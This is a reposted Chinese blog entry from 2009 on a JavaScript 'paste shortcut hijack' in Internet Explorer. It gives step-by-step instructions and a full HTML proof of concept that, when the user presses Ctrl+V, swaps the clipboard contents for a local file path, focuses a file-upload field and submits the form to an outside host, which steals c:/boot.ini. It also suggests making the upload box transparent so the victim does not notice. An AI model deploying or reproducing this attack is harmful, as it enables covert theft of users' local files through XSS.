2009年11月13日星期五

[转]Javascript剪切板劫持详解

首先说一下通过Javascript Paste Keyboard Shortcuts Hijack能做什么???能够读取你本地机器任何文件! 没错!也就是说 你中了任何一个XSS 加上你按了粘贴快捷键后,你就有可能被别人读取你机上任何的文件!

那到底是什么回事呢? OK 我慢慢来说

首先 我们知道JS是无权限获读取你本地任何文件的... 那么我们必须要让用户上传自己的文件!

怎么让用户上传呢? 很简单! 通过 <input type=file > 这样就能让用户上传文件了!

现在又一个问题是, input 为file的时候 value的值 不能用代码set进去!必须要让用户自己填写! 必须要通过人机交互!

其实说到这里!聪明的你大致也应该明白怎么回事! 接着说! 用户不可能把自己的文件填写上去提交给你看的吧?

没错~ 那么 就等待用户 进行快捷键粘贴的时候 哈哈~~说说步骤

1. 判断是否 进行 ctrl + v

2. 替换粘贴板

3. 光标切换到 文件上传

4. 善后工作就交给你了 ( 例如如何把上传textbox透明化,当前页面不会因表单提交而跳转 )

IE 下的 POC :

<HTML>
<HEAD>
<TITLE> Javascript Paste Keyboard Shortcuts Hijack </TITLE>
</HEAD>

<body   onkeydown="temp()">
<input>
<form action="http://www.kj.com" method=post name=s>
<input id=kj_filehijack type=file name=fhijack>
</form>
<script>
function temp()
{
    if(event.ctrlKey){
        if(event.keyCode==86){
            window.clipboardData.setData("text","c:/boot.ini");
            document.getElementById('kj_filehijack').focus();
            document.s.submit();
        }
    }
}
</script>

</BODY>
</HTML>


本人分析:

1、有个问题就是用户粘贴的时候,ctrl+v贴了后,到别的地方如word,那么也会贴出这个内如。比如c:/boot.ini。不过也没事吧,反正c:/boot.ini已经传走了。
2、<body   onkeydown="temp()">
=========================要求必须在网页的body里面按ctrl+v.
那么这个body以藏或者iframe的话,不好办。

没有评论: